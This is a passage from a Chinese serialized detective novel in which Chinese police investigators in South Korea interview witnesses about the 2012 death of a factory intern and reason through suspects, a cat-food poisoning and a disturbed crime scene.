“不在场证明是可以伪造的,因为当前公寓的监控和出入打卡都是不可信的,有可能被篡改。我想,当务之急是先查出她那天早上出门后到底去了哪儿,见了什么人,做了什么事。” 章弥真打了个呵欠,道:“得嘞,睡吧。明儿一早还得先去查工厂呢。” 秦梓需没搭话,章弥真翻了个身,阖上眼,很快就传来了她悠长的呼吸声。秦梓需则在黑暗里一直闭眼思索案情,她总感觉这案子太怪了,怪就怪在许多线索都处在互相矛盾之中,到底是怎么回事? 她想了很久,怎么都想不通,不知不觉就入了梦。 …… 翌日早间,秦梓需、章弥真起床洗漱,一同到餐厅吃早饭。 两人来得稍稍有些迟,郑老和小金已经吃完早饭,郑老正在反复看昨天记在手机里的卷宗疑点。他一会儿会和众人分头行动,单独去见韩国方面的验尸官。小金要陪在他身边给他做翻译。 邹天和谢云卿吃饭也接近尾声,她俩直接坐到了两人身边来。 “昨晚睡得好吗?”谢云卿打招呼。 “还行。”章弥真看上去神采飞扬。 秦梓需嗯了一声,眼底发青暴露了她昨晚糟糕的睡眠。 “秦老师,我那儿有安眠药的。”谢云卿关心道。 “没事,案子了了,我睡得比谁都熟。心里有事,就不大能睡好。”秦梓需道。 “我可是见过你不洗澡直接倒头就睡的样子的,真可怕。”章弥真捂着嘴笑。 “诶?秦老师不洗澡吗?”谢云卿好奇问。 “什么不洗澡!我那天实在是累得狠了,才顾不得那么多。”秦梓需炸毛了,连忙解释。 “哦,我知道了……是策划诱捕那段时间吧。小真,你是不知道那段时间秦老师有多忧心忡忡,每天向我确认计划细节八百遍,说什么绝对不能有任何闪失,哪怕你伤了一根毫毛她都得内疚一辈子。”谢云卿开始向章弥真八卦秦梓需。 “谢支…谢支……”秦梓需试图打断谢云卿,奈何谢云卿根本不给她插话的机会。 “是吗,那我伤到的可不只是毫毛啊,手腕的淤青是褪下去了,但扭到的胯到现在还没完全好呢,走路都不顺当。老秦,你要内疚好几辈子了吧。”章弥真一脸的好笑神色。 秦梓需:“……” “哈哈哈哈……”谢云卿大笑起来。 就在秦梓需窘迫无比之时,一通电话来救场。是章弥真的电话响了,她看了下来电,有点困惑,但还是接了。 “喂?哪位?呀,是你啊。不会不会,哪里会忘掉。”章弥真突然神色变得有些古怪,还不自觉地拿眼睛瞟秦梓需。 秦梓需有些迷惑:这通电话和我有关系吗? “……哦,是吗?你现在在韩国?呵呵呵……嗯,我挺好的,你怎么会在韩国的……”章弥真说话的语气逐渐变得尴尬,在尬聊了好一段时间后,对方似乎提出要见她,她以最近正在参与一个机密项目为由婉拒了。 但随后对方突然说了什么,章弥真陡然脸色一变,忙道了一句:“你稍等,我问问领导。” 随即她捂住话筒,对秦梓需和谢云卿道: “我之前和你们提过一个驻韩记者,还记得吧。我昨晚和他聊了两句目前的情况,我没想到他竟然把我的联系方式给了……一个韩国这里的熟人,这位熟人现在打电话给我,说昨晚连夜从首尔过来了,想和我们见面来着。” “你的熟人?”谢云卿好奇问。她从刚才两人的谈话中听出了端倪。 章弥真有些尴尬,“嗯,他叫何天佑,中国人。我俩是在芝加哥大学读书时认识的,我没想到他居然在韩国这里,而且就在牙山工厂所属企业的首尔总部工作。” “他只是想见你吧,和我们有啥关系?”秦梓需问。 这话刺了章弥真一下,她突然有点来气,咬着后槽牙道:“他说他2012年时就在牙山工厂管培轮岗,问他也许能知道点什么呢。” “哦,那倒是巧了。你居然不知道这件事?你俩不熟?”秦梓需问。 “见还是不见。”章弥真瞪着秦梓需,不答反问。 “那必须要见啊。”秦梓需还没说话,谢云卿插话道。 章弥真立刻在电话里回道:“领导同意见面了,咱们在……哦,你就在楼下是吧,那好的,我们一会儿就下去。” 电话挂断了,谢云卿笑着问:“你俩关系不一般啊。” “嗯,前男友,不过就大学时谈了三个月,分手后我把他拉黑了。所以我根本不知道他后来做什么去了。”章弥真头也不抬地解释道。 秦梓需眉头微微蹙了蹙,抽了张纸巾擦了擦嘴,道:“走吧,别让人等久了,不礼貌。” 第83章 第八十三章 坐电梯下楼的过程中,章弥真瞥了一眼站在她侧前方的秦梓需。只能看到她的侧后脸庞,她觉得秦梓需莫名有些低气压,本来清早起来后困倦懒散的状态突然变得有些紧绷。 章弥真觉得她可能是在怪罪自己联系驻韩记者的事,章弥真有些委屈,她真的不是打算搞事情,她只是想向知情人打听一些工厂内部和本地人际关系方面的消息,也许能有助于查案。她也千叮咛万嘱咐,要对方千万别往外传。 她也没想到,对方还是把消息透出去了。 一走进酒店大堂,就见到了一位身材高挑的男子迎了上来。他西装革履,梳着精致打理的发型,喷了古龙水,打眼一瞧,就充满了韩剧男主的味道。 他一眼就找到了章弥真,但却很得体地先询问明显更为年长的谢云卿: “您好,请问是咱们的公安同志吗?我是何天佑。” 这用词让谢云卿感到相当意外和亲切,扬起笑容率先伸出手和他相握,然后主动介绍她身边的秦梓需和邹天。 跟何天佑握手时,秦梓需的眉头锁得更深了。 “哈哈,小章我就不介绍了。难为你大老远的跑一趟,真不好意思。”谢云卿道。 何天佑笑道:“哪里的话,这里距离首尔不远的。我一听公安同志来查案子,这案子当年我还真就知道些内容,我自然责无旁贷,立刻就赶过来了。” “那太好了,赶快和我们说说。” 众人先在大堂的沙发上落座,何天佑从头回忆道: “2010年,我从美国毕业回国,就入职了我们公司和国内合资办的北京分公司,干了两年,被总部看中了,就到韩国这里来了。2012年那会儿我轮岗,在牙山工厂这里做管培。” “你和其他的实习生住在同一个宿舍里吗?”秦梓需插话问道。 何天佑道:“不,我是住在工厂东侧的一处公寓,不和实习生住在一起。” 秦梓需示意他继续,何天佑似乎突然被打乱了叙事节奏,想了一会儿才继续道: “那一批实习生就是我来带的,虽然我和他们的工作内容不同,但因为都是中国人嘛,我韩语比较熟练,所以就负责当翻译和助手,协助主管培训他们。 “我和李芝华有过几面之缘,算是萍水相逢,我没有想到她竟然会在异国他乡出事,想想也是挺唏嘘的。” “案发前,她去了哪里,你知道吗?”秦梓需开始主导提问。章弥真、谢云卿和邹天都看了她一眼。 何天佑摇头:“我不知道,警察都没查出来的事儿,我更不清楚。我和她真的不大熟悉,平时只有在工厂培训时才会有交集。不过我知道她和谁关系好,有一个叫做许晓芸的女孩,和她关系非常好,我经常能看到她俩一起上卫生间,一起吃饭。” 许晓芸,这个女孩秦梓需有印象,卷宗中提到了她是案发后实习生中情绪最激动,哭得最伤心的人,而且她和李芝华并不在同一个宿舍。 因为出了这档子事,实习期还未结束,这个女孩就立刻回国了。不过警方的问询中,许晓芸对李芝华会去哪里也是一无所知。 “那你知道她和谁关系不好吗?”秦梓需又问。 “她和她的舍友关系似乎不是很好,不过我也是道听途说,具体情况不大清楚。”何天佑道。 秦梓需没再提问,于是谢云卿终于接话道: “你还知道哪些细节,不论多么微小的事都行。” 何天佑仔细回忆了好一会儿,才踌躇道: “有一件事,好像和李芝华没什么关系,是和许晓芸有关系。你知道进工厂都要换工服,我有一回从男子更衣间出来,恰好撞上许晓芸从女子更衣间出来,她这样攥着自己的衬衫衣领,头发散乱,哭着出来,神情非常慌张。但她很快就跑走了,我觉得很奇怪,但我毕竟和她关系不大近,也不方便进女子更衣间。” 众人听闻,顿时嗅到了犯罪的味道。这与警察的职业无关,估计谁听到这样一件事,都会觉得这里面有猫腻。 “那你当时有没有听到女子更衣间里传出声音?”秦梓需进一步确认。 “好像……没有,很安静,像是没人似的。那里面平时都叽叽喳喳,会传出女孩子的声音。”何天佑道。 秦梓需思索了片刻,道:“这些实习生女孩,有没有交往男朋友?” “这个……我是真的说不清楚了。不过我觉得不至于吧,她们那会儿来韩国好像才三周多的时间,适应环境都很困难了,哪儿还有闲心去交男朋友啊。”何天佑道。 此后,谢云卿又确认了一遍何天佑是否还知道其他细节,何天佑却再也想不起来了。 于是谢云卿结束了这次谈话:“好,感谢您提供消息。咱们接下来要去工厂内部搜查,何先生您是……” “那正好,我和工厂这里很熟,我陪你们进去,也能帮你们介绍介绍情况。”何天佑显得异常热情,说这话时,终于还是不自觉地看向章弥真。 章弥真只是浅垂眼帘,盯着自己的手机,并不看他。 一行人终于出了酒店,牙山警署派来接他们的是一辆7座的商务车,开车的司机还是那位女警朴尚恩。 众人上车。邹天照例要去座副驾,结果秦梓需却示意他坐后面去,自己要坐副驾。 但她脚刚刚跨进副驾门,就被章弥真一把薅了出来,带去了最狭窄的后排。目睹这一幕的邹天和朴尚恩皆目瞪口呆。 秦梓需被章弥真抓着胳膊,挤在非常狭窄的后排里,一脸无语。 “你干啥要把我拉到这里来?”秦梓需低声凑到章弥真耳畔问。 “你别想给我跑,今天你的任务就是当我的护盾。”章弥真和秦梓需咬耳朵。 “我当什么护盾,我……” 秦梓需刚要说什么,谢云卿和何天佑就坐进了中间排,章弥真见状一把捂住她嘴巴。秦梓需急得满头大汗,这空间太狭窄了,她又不好太大动作,只能暂时偃旗息鼓。 罢了罢了,谁让我欠了她的,秦梓需心想。 好在去工厂的路程很短,十分钟不到车子就已经开进工厂,停在了停车位上。秦梓需和章弥真挤挤攘攘地下了车。秦梓需连奔带跑地往厂房方向溜去,试图摆脱这突如其来的束缚。奈何章弥真一直抓着秦梓需的胳膊,寸步不离。秦梓需又不好强硬甩开她,只能咬着后槽牙道: “你自己招来的人,现在反倒赖我身上了。你让我当什么护盾?我又不是男的。” “什么话!我可从来没有让他来啊,这怎么是我的错?你别矫情了,是不是男的又有什么关系,只要有你在他就不好靠近我。”章弥真直接改抓为抱,搂住了秦梓需的胳膊。 秦梓需浑身一僵,随即被章弥真的话气得冒烟:“我矫情?!我……” “你是不是生气了?”章弥真突然打断她,问道。 “我当然生气!”秦梓需一脸怒容地望着她,可这气来得快去得也快,当她看清章弥真的面庞时,怒气突然消散了一大半。 这人……哭什么啊?见个前男友咋委屈成这样?秦梓需见她眼眶发红,一副泫而欲泣的模样,心中满是困惑不解。 “他是不是做过啥对不起你的事?”秦梓需问。 “没有,就是他接受不了我太强势,我也接受不了他没骨气,所以和平分手了。”章弥真扭过头去,倒是放开了抱着秦梓需臂膀的手。 “那你这是搞的哪一出?咋像是耗子见了猫?”秦梓需再问。 这回轮到章弥真生气了,她回眸瞪秦梓需:“你到底帮不帮我?让你帮个忙怎么这么难的?我不找你找谁,找邹天还是找谢支?我只能找你啊!” “不是……我不是不帮你,你稍微正常点,别赖在我身上,这也太刻意了。”秦梓需忙解释道。 “那说好了,他要是来缠我,你可得帮我挡着,别老想着自己落跑。”章弥真道。 “行,我挡着。”秦梓需无奈答应。 “秦老师,小章,这里走!”谢云卿在不远处喊她们了。 两人连忙转身快步跟上,章弥真虽然没有再碰秦梓需,但仍然是紧紧贴在她身边。 直至此时,秦梓需才有富余观察工厂的整体外观。生产汽车的工厂规模都相当大,整个园区真是一眼望不到边,蓝色的厂房顶棚好似种植大棚一般笔直地延伸出数百米,他们停车的位置是最靠近厂房入口的位置。 进入厂房后,第一件事是登记,拿到临时出入证,然后佩戴安全头盔。厂内人、机、车道分离,她们在一位专门派来带路做介绍的工程师的带领下,向着实习生所在的区域行去。 这位工程师是韩国人,因此也配了一位中文翻译。不过有何天佑在,介绍厂房的事反倒让他揽了去。他滔滔不绝,如数家珍,厂内什么东西他都一清二楚。 秦梓需倒是高看了他几眼,至少这人的业务水平很强,在这样世界前几且保护主义很强的韩国大财阀里坐火箭似的蹿升,身上确实得有点本事。 “到了,这里是实习生的培训区。因为业务还不熟练,实习生大多不会直接上流水线,而是在这个另辟出来的组装平台学习组装、机械流程之类的。” “这不就湳枫是进厂打螺丝吗?”章弥真悄声嘟囔了一句。 好巧不巧,这句话让何天佑听到了,他笑道: “哪个企业的技术人员不都得熟悉这些嘛,就连我这个不懂造车的,也得学呢。” 章弥真撇了下嘴角,还是没理会他。何天佑似乎有些着急,往她的方向迈了一步,章弥真立刻警惕,挪着步子,躲到了秦梓需身子的另一侧。 秦梓需扭头,对何天佑笑了一下。何天佑有些尴尬,只好装作若无其事地转开话题,继续做介绍。 “我想看看实习生的更衣间在哪里。”当何天佑的介绍告一段落,秦梓需主动提了出来。 “好,这边请。” 一行人离开组装平台,穿过一条长长的走廊,最终在走廊尽头抵达了更衣室。 “左手侧是男更衣室,右手侧是女更衣室,我就是站在这里和许晓芸打了个照面。” “我现在可以进去吗?”秦梓需指了指女更衣室问。 “呃……我不大方便进去,要不你带她们几位女士进去吧。”何天佑看向一旁的中文翻译,这是一位女翻译,同样穿着工服,感觉就是这个厂里的员工,被临时抓来当翻译的。 这位翻译点了点头,向秦梓需、章弥真和谢云卿做了个请的手势。 更衣室看不出一点奇怪,一排排的衣柜整齐排列,每两排柜子之间还摆放着长条凳,方便换鞋时落座。衣柜是单人落地式,每个人的柜子宽大概在六十公分到八十公分之间,很窄,只能挂衣服,放不了太多的东西。 “李芝华的柜子是哪个?”秦梓需问翻译。 “这个,09号柜,当然这个柜子现在是别人在用,不好擅自打开的。”女翻译说道。 秦梓需有些好奇地问:“你这么清楚?” “我就是李芝华同期的实习生,我叫姜敏。”女翻译自我介绍道。 “怪不得!我听出你有四川一带的口音。”章弥真道,“现在厂里还有多少人是当年你们同期的?” “只有我了,绝大多数都回国了,有些现在在北京工厂那里,有些早就离职了。”姜敏解释道,“我和李芝华不仅仅是同期,我和她还是同校同系同届的,只不过我俩不在一个班,不大熟罢了。” 这不就是秦梓需和章弥真的关系嘛,真是无巧不成书啊,谢云卿内心想到。 姜敏似乎是下了什么决心,突然示意她们凑近一点,她压低声音道: “这么多年,我终于盼到了国内有警察来查这件事。我有些事不吐不快,但我就在这里说,出了这里,我什么也不会说的。希望你们能保密,不要说是我说的。” “你放心,尽管说,相信我们。”谢云卿给了承诺。 姜敏捏紧了衣服下摆,道:“我也不能判断我知道的这些事到底和李芝华的死有没有关系,但他们不让我说,这些事在我心里堵了8年了。如果不是实在不愿意丢了这份工作,我不会忍到现在的。” 第84章 第八十四章 女子更衣室没有监控,在此谈话相对隐蔽,姜敏向三人讲述当年她所知道的案情细节。 姜敏是成都人,是大城市的女孩,不过她的家庭条件并不好。父亲早早因病去世,她母亲摆摊卖小吃,含辛茹苦把她和她妹妹拉扯大。她妹妹比她小5岁,现在在读研,即将毕业找工作,母亲落了一身病,已经不大能去摆摊了。家里现在好不容易买了新房子,生活刚刚改善不少,还贷全靠她这个当姐姐的。因此她不能失去在韩国这里的工作。 用她的话说,她这样的人虽然有工作经验,可现在国内日新月异,新能源汽车崛起,她学的全是传统汽车制造,再回国不一定能找到韩国这里工资水平的工作了。她在国内也没有人脉,实在是不敢冒这个险,只想再熬几年,等资历足够了,再疏通一下韩国这里的人脉,申请去北京工厂。 “当年和我一样条件不好的,还有李芝华。李芝华的情况你们应该都清楚,她的室友都看不起她,觉得她特别土气。她跟许晓芸的关系不错,许晓芸和她工位相邻,两人更衣间的衣柜也恰好靠着,她们俩平时彼此照应着,因此虽然宿舍内部关系不好,好歹还能把实习期熬过去。 “和她同宿舍的另外三个女生,该怎么形容呢……就是都是城市长大的,爱化妆打扮,爱购物、追星,她们觉得李芝华小家子气,抠门还内向不合群,所以就有了龃龉。 “但是这个一开始也只是藏在水面下的,面上没有撕破脸。一直到我们听到了一个消息,就是实习生毕业考核,考核最优的实习生不仅能够立刻留厂任职,还能获得管培生资格,以后有望进入首尔总部的管理层。 “这个本来也正常,但李芝华当时立刻就朝着这个目标发奋努力了。她每天除了工作,晚上还熬夜学习工厂的所有知识,甚至背诵公司的各项规章。而且她的韩语进步也飞快,虽然性格很内向,却每天都能逼着自己去找韩国人练口语。 “她的这种态度,惹怒了她宿舍里的三个女生,觉得她搞内卷,是工贼,反正就是看不起她这种一心钻营的做派。这种情况愈演愈烈,最后她们宿舍里半夜爆发过一次争吵,吵得其他宿舍的人对她们这里的情况人尽皆知了。再后来,她就不和宿舍里另外三人说话了,独来独往,除了和许晓芸来往,她和谁都不说话。 秦梓需问:“那李芝华出事的前一天,也就是5月21日,李芝华帮舍友代班是什么情况?” “那也是室友坑她的,那会儿她们已经在整李芝华了。报值班表是小组组长的事,她们宿舍都在同一个小组,那三个室友跟组长说让李芝华20号、21号连续值班,因为室友之中有个人21号当天要过生日,她们不想在宿舍里看到李芝华。但她们不和李芝华打商量,直接就跟组长说这是李芝华同意的,于是李芝华被迫要值两天班。 “更过分的是,她们那天吃蛋糕吹蜡烛,还故意烧了李芝华的蚊帐。” “故意?”章弥真吃了一惊。 “对,就是故意的。这是我在女厕所亲耳听见她们得意洋洋地说的。伪装成不小心烧了,然后为了灭火泼了一盆水到李芝华的床上,搞得她床上一团乱。所以21日晚上李芝华回来后都没有地方可以睡觉,不得不到许晓芸那里凑活了一晚上。第二天一大早,她还被迫出门去买床上用品。” 章弥真恍然大悟:“怪不得监控拍到她手里提着床上用品。” “奇怪啊,后来警方到宿舍里侦查,李芝华的床铺一切正常,如果是她回到宿舍后自己更换了床铺,那她换下来的床上用品去哪里了?丢了吗?”秦梓需不记得卷宗里有提到这一茬。 “按照她节俭的个性,她不会随便乱丢的,应该会洗干净后再用。”谢云卿道。 姜敏道:“据我所知,那天宿舍的洗衣机应该没有洗过床上用品。宿舍的洗衣机是公用的,一层楼一台。每天哪几个宿舍的可以使用有排表,22号那天应该轮到双号宿舍用洗衣机,我们宿舍就是双号宿舍,我没看到有床上用品。李芝华她们宿舍是单号。而且案发前一天下了雨,第二天虽然不下了,但很潮湿,没人会在那天清洗床上用品。” “既然如此,那换下来的床单被套消失了就很奇怪了,警方竟然没有追究这件事……”谢云卿真是无力吐槽韩国警方。 章弥真道:“那李芝华喂猫的事儿,和她室友也没关系了吗?” 姜敏道:“当然没有关系,不过她的三个室友是知道她会喂猫的,毕竟那么一大袋猫粮,骗不了室友的眼睛。据我所知,许晓芸很喜欢猫,她是和许晓芸一起去给流浪猫喂食。” “这个许晓芸你了解吗?”秦梓需有些好奇地问。 “嗯……她真的很惨。不过关于她的事我也是道听途说的,不敢说一定是真的。”姜敏的神情变得有些紧张,“我们这一期实习生中一直传闻她被强J了。但她自己没有报警,也没和任何人承认这件事,所以没有任何人能说这事儿确实发生了。” 因为此前有何天佑铺垫,秦梓需、章弥真和谢云卿都没有太过意外,她们的神情都很凝重。 “谁干的?”秦梓需问。 “据说可能是会长的儿子,他那会儿正好在牙山这里管人力资源部。”姜敏说出这话时,显得极其紧张,脸上都出汗了。 “哪个会长?”章弥真蹙眉追问。 “就是牙山工厂的会长李玄闵。他儿子叫李浩贤。但我真的不知道是不是真的。”姜敏反复强调。 谢云卿调出许晓芸的资料照片,这确实是个相当清秀漂亮的女孩。 “她家境很好。”秦梓需看着照片,仿佛她早就认识对方似的陈述道。 “对,她家境不错的。谈不上非常有钱,她父母都是老师,教养很好。”姜敏道。 “什么时候发生的事?” “应该是李芝华出事前不久,具体日期我也不大清楚,可以问一下何天佑,他应该记得。” 谢云卿问:“你还知道什么事?” “其他的……我就不大清楚了。”姜敏思索了一会儿,摇了摇头。 “那你知不知道李芝华平时外出,除了喂猫之外,还会去哪儿?”秦梓需追问。 “嗯……她不会和她的室友一起出门的,但凡出门要么是一个人,要么就是和许晓芸一起。”姜敏道。 也就是说,许晓芸会去的地方,李芝华也有可能去。秦梓需想到。 “许晓芸后来是回国了?” “直接辞职回国了,就在李芝华出事不久。具体去了哪儿我也不大清楚。” 这一点公安是清楚的,在201湳枫2年的后续调查中,公安确认许晓芸回国后在家中待业,并没有找工作。至于后来做了什么,还需要查一下。 谢云卿直接发消息给大后方,让人去查许晓芸了。姜敏再次忐忑地请求三人保密,千万别说是她说的。 章弥真却道:“你不必这样害怕他们,回国来吧,我可以帮你介绍工作。以你的工作资历,在成都完全可以找到合适的岗位,薪资绝对有保证,不必再和你妈妈、妹妹两地分居了。” “真的吗?”姜敏感到不可置信。 “我怎么会在这么严肃的事情上欺骗你,我认识成都的车企老板,关系很好,我说到做到,你可以放心。”章弥真很认真地说道。 姜敏喜极而泣:“我真的……我憋了好多好多年,良心难安。今天终于能说出来,我感觉整个人都轻松了好多……” 章弥真叹了口气,拍了拍她的肩膀,并和姜敏加了微信。 秦梓需不得不佩服章弥真的人脉,虽然有的时候认识的人多也会招来些麻烦。比如正在外面等待的那个何天佑。 一行人从女更衣室出来时,秦梓需看到何天佑,突然心生鄙夷。 姜敏的话让案情愈发复杂,当年在这牙山工厂发生了太多混沌邪恶的事,这些事混杂在一起,以至于后人想要厘清其中的关系,都变得非常困难了。 可眼前这位何先生,却只是想借着协助调查的由头,和前女友再续前缘,秦梓需本来对他就不多的佩服之情,瞬间荡然无存。 “你记不记得你撞见许晓芸那天,是几号?”秦梓需向何天佑确认时间。 “应该是5月18日,我记得那天应该是公司的成年节活动,我那天身体不舒服,提前请假回去休息的。那个时间点应该是下午三点左右。”何天佑回忆道。 “成年节活动?”秦梓需有些意外。 何天佑道:“五月的第三个星期一是韩国这里的成年节,韩国的成年年龄是19岁。工厂里有不少没上大学的工人,年纪差不多也就是18、19岁,所以每年都会办这么个成年节。但其实二十来岁的年轻人都会参加这个节庆,大家在一起开个party,吃吃喝喝、唱唱歌、跳跳舞什么的。” 这触及了秦梓需的知识盲区,如果不是何天佑提及,她真的完全不会想到还有这样的节庆。她立刻拿出手机开始搜索韩国的五月份的节庆日。 劳动节:5月1日。儿童节:5月5日。佛诞日:5月5日。父母节:5月8日。教师节:5月15日。成人节:五月的第三个星期一。夫妻节:5月21日。由于5月集中多个家庭相关的节日,所以5月也被韩国人成为“家庭月”,成为了表达家庭关爱的重要时间段。 秦梓需陷入沉思,章弥真见她发愣,没敢打搅她。 何天佑站在一旁,大概是怕章弥真又躲他,没有上前。他倒是不惧身边还有别人,直接开口对章弥真道了句: “等会儿有空能不能单独见一面。” “为什么要单独见一面?”章弥真有些反感他这个借势逼人的做派,道,“有什么话你现在就说。” “不至于这样吧,你好歹给我个面子。”何天佑无奈道。 “我只是不希望你对我产生什么误会,你这回来帮忙,我很感激。除此之外,一切免谈。”章弥真道。 何天佑似乎有点急了,他顾不得其他,直接道:“我知道当初都是我对不起你,我听说这么多年你还是单身,我也没对象,我就是想我们这么多年都应该成熟不少了,也许能克服当年的弱点,好好的……” 何天佑话还没说完,就被章弥真打断了:“不好意思,我现在没有和任何人谈恋爱的想法,何况就算我要谈恋爱,怎么也不会是你啊。” “为什么?”何天佑问。 “好马不吃回头草。”章弥真道。 “这话是这么说的吗?”何天佑面上怒容渐起。 “不然呢?”章弥真挑眉。 “那还有下半句,浪子回头金不换呢。” “哪来的下半句,你凑的?” “咳咳……”眼见这两人你一言我一语,话赶着话就要吵起来,谢云卿连忙插话进来,略有些尴尬地调解道,“那啥,咱们要不先出去,出去再谈。” 邹天也连忙来拉何天佑,安抚道:“兄弟,兄弟,咱先出去,出去抽支烟。” 说着就把何天佑给拉走了,何天佑倒也没有抗拒他拉扯,他应该是意识到自己不该在这里和章弥真争吵,已经开始后悔了。 章弥真气不顺,叉着腰在原地徘徊了一下,堵在胸口的那股气,到底还是吞了回去。谢云卿上前轻声安抚,章弥真有些难堪,道: “抱歉谢支,是我没有控制好情绪,给你们惹麻烦了。” “说什么呢,人之常情,都能理解。” 夹在章弥真和何天佑之间的秦梓需却一直在神游天外,没有起到一个合格的“护盾”作用。 “好马不吃回头草……好马不吃回头草……”此时她突然念叨起这句话来,随即她像是陷入了某种极其痛苦的思索之中,抓着自己额前的头发,眉头蹙成了“川”字。 第85章 第八十五章 “老秦?你想什么呢?”章弥真见她这副模样,问道。 “有一个想法,我没有抓住,就在你说那句‘好马不吃回头草’的时候,我好像突然想通了什么,可这个念头一闪而过,我再怎么想,就又不明白了。”秦梓需很痛苦。 章弥真:“……” 我和别人当着你面吵架,你还能这样钻研案情,不愧是你啊,老秦。 章弥真心里一阵无语,倒是再次佩服起秦梓需来了。她也知道,秦梓需现在已经是半步疯癫了,她要是再查不出真相,找不到证物,真得疯了。 “说明还是火候不到啊,想不起来就别硬想了,先放一放。说不定后头就又突然想起来了。”谢云卿道。 一行人结束了对工厂的调查,在这个案子里,工厂不是重点,宿舍才是重点,所以接下来他们要去调查宿舍公寓楼。 由于刚才的事,何天佑抹不开面子,当下也不打算继续陪一行人调查了。他知道的都对警方说了,宿舍那里他也不熟悉,去了也没有意义,故而以还有工作为由要留在工厂这里。 众人都理解并尊重,上车前,章弥真主动去找了何天佑,二人在车外低声交谈了几句,看样子算是缓和了一下矛盾。 章弥真随即回到了车上,何天佑一走,这车子里似乎都宽敞了不少。她挨着秦梓需坐下,秦梓需被夹在她和谢云卿中间,后面拥挤的第三排自然就没有人坐了。 一时间没有人问她和何天佑的谈了什么,只当这事儿过去了不提。 这时,开车的司机——女警朴尚恩说话了: “秦警官,你让我问的事情,我问到了。有一家工厂的老板认出了照片上的女人,确实是在2012年时在他那里打过工,但只干了不到1个月就突然不声不响离职了,连工资都没结。她也确实带了一个孩子,跟她一起挤在宿舍里住。” 这不亚于平地一声惊雷,秦梓需几乎蹦了起来,她扑到驾驶座旁,道: “真的有人记得她,没有认错?” “不会认错的,他看到照片的第一眼就认出来了,印象还挺深刻的。主要是她们母女俩都长得很漂亮,老板没见过这么漂亮的人。那个孩子很喜欢吃冰淇淋,老板给她买了好几回,就是为了逗那孩子开心。”朴尚恩笑道。 仿佛是为了当场印证朴尚恩的话,谢云卿的电话响了,她连忙接起,并开了免提: “喂,刘总,您讲。” 刘明城:“小谢,查到了。邵彦华2012年的5月为了搞公安系统改良架构,一直在公司加班,每天都打卡报道,甚至睡在公司,他确实没有可能到韩国犯案。 “此外,芝加哥那里也有新收获,有一家宠物粮工厂表示确实雇佣过一个自称May的华人女性作为生产工人,认定是照片上的梅凝隽。并且他们还明确指出May一个人带着一个年幼的女儿生活,因为无处落脚,曾一度在工厂的院墙外睡马路。后来工厂老板看她可怜,把工厂的一间闲置办公室租给她住,租金从她的工资中扣除,那租金也就每天10美元,相当于做慈善了。 “这间工厂的老板还说,May有兽医工作经验,对宠物粮配比曾提出独到的见解,工厂老板很欣赏她,曾打算和她签订长期的雇佣合同,但May在2011年时告别了工厂,回中国去了。” 谢云卿大喜过望,道:“这下全对上了!我们的推测方向是正确的!” “全对上了?”刘明城还不知道韩国这里的最新调查结果,谢云卿立刻告诉他已经确认梅凝隽和邵紫涵在2012年5月时就身处牙山。 刘明城道:“这就好,我已经发了全国协查,专门查九十年代全国的宠物粮生产工厂、宠物繁育基地等,也许能查到梅凝隽在入职长生制药前到底在做什么。那个年代,国内干宠物这一行的刚起步没多久,估计不难查。” “那个王丽琴还没开口?”谢云卿问。 “不肯,犟得很。总之还是坚持每天上门感化,这老太来硬的不行,她舍得一身剐,根本不带怕的。”刘明城也很头疼。 “行,我想也不会太久了,我等大后方的好消息。” 电话挂断了,谢云卿喜滋滋地看向众人:“这下基本可以确定侦查方向了,李芝华的案子就是梅凝隽母女干的。” “但一整个过程还是一团浆糊啊,理不出一条清晰的逻辑链,更别说证据链了。”邹天道。 秦梓需道:“咱们现在理一下大致情况,把疑点拎出来。首先可以确定的是梅凝隽母女一定接触过李芝华,且和她熟识,李芝华对这母女俩没什么防备。 “由于宿舍的监控被篡改,无法确定的是到底是母女俩谁跟着李芝华进入了宿舍,下了杀手,又或者是母女一起合作。我倾向于邵紫涵是关键,因为她是小孩子,李芝华在面对她时,更有可能吃下猫粮。 “接下来就是疑点了。首先,李芝华的物品肯定被翻找过,但警方侦查时,物品摆放整齐。摆放整齐不意味着东西没有被动过,这里面有多种可能,要么是凶手整理过物品,要么是另外有什么人出于某种目的,在案发后整理过物品。 “其次,火锅到底是谁摆的,李芝华胃里的食物,到底是不是在宿舍里吃下的,她的遗体到底是不是被移动过。这个问题同样关联到上一个问题,那就是——是不是有另外的什么人出于某种目的,在李芝华被害后进入过凶案现场,摆出了那个火锅阵,移动过李芝华的遗体,还动过李芝华的东西。 “这个问题很有意思,因为如果确实存在这样一个未知的人,这就意味着他完全清楚李芝华当天中午吃了什么食材,也就是说,他很有可能就是李芝华当天上午出门时遭遇过的人,甚至李芝华就是和这个人一起吃的饭。 “由于当年韩国警方的刻意隐瞒,我们现在已经根本找不到当年李芝华出门后的监控录像了。一切都只能依靠推测。这个未知的人非常关键,他进入宿舍后,改变了非常多的事,甚至证物的丢失也有可能与他有关。” 章弥真倒吸一口凉气:“你的意思是,想谋害李芝华的并不只是梅凝隽母女,只是最终得手的是她们?” “不能肯定那个未知的人是不是要谋害李芝华,可以确定的是梅凝隽母女压根就没有拿到证物。她们应该是已经摸清楚了证物被李芝华藏在哪里才会下杀手的,但棋差一着,东西阴差阳错被别人拿走了。”秦梓需说出了她的推测。 “我勒个去……”邹天感觉脑门冒烟了。 谢云卿捏着下巴道:“要证明这一点,就要看郑老那里了,如果能证明遗体被移动过,多半就存在这么一个未知的人。因为9岁的邵紫涵可以做到用猫粮毒杀李芝华,却不大可能做到挪动尸体。而且这个案子,警方明显有包庇行为,如果案子单纯是梅凝隽母女干的,韩国警方没有必要这么做。” “可是……为什么呢?”章弥真大惑不解,“证物到底是个什么东西,为什么梅凝隽母女明知证物是什么却没找到,反倒是那个后来者找到了?” 秦梓需道:“我猜测,那个证物在案发之前被李芝华亲手交给了那个未知的人。那个未知的人拿到证物后,跟踪她抵达宿舍,随后进入她屋内,发现她死亡,然后重新布置了案发现场,让案发现场更符合他的利益,可以洗清他的嫌疑。” “啊?李芝华为什么这么做,那证物可是杨莲用命换来的,她哪能这么轻易给别人?”章弥真不大能接受这个推论。 秦梓需似乎思路又卡住了,她一时间没说话。正好这时,车子已经开到了宿舍公寓楼下。开车的朴尚恩把车开过了,车子在道路前方掉了个头才开回来,因为她听一行人分析案情都听入迷了。 下车时,谢云卿接了一个国内打来的电话,走到一旁去讲电话去了。众人暂时没进公寓楼,只是站在外面等待。 趁着这个空档,秦梓需问朴尚恩: “牙山这里,有哪些可以寄递国际快递的公司?” “很多的,韩国邮政、DHL、FedEx。”朴尚恩道。 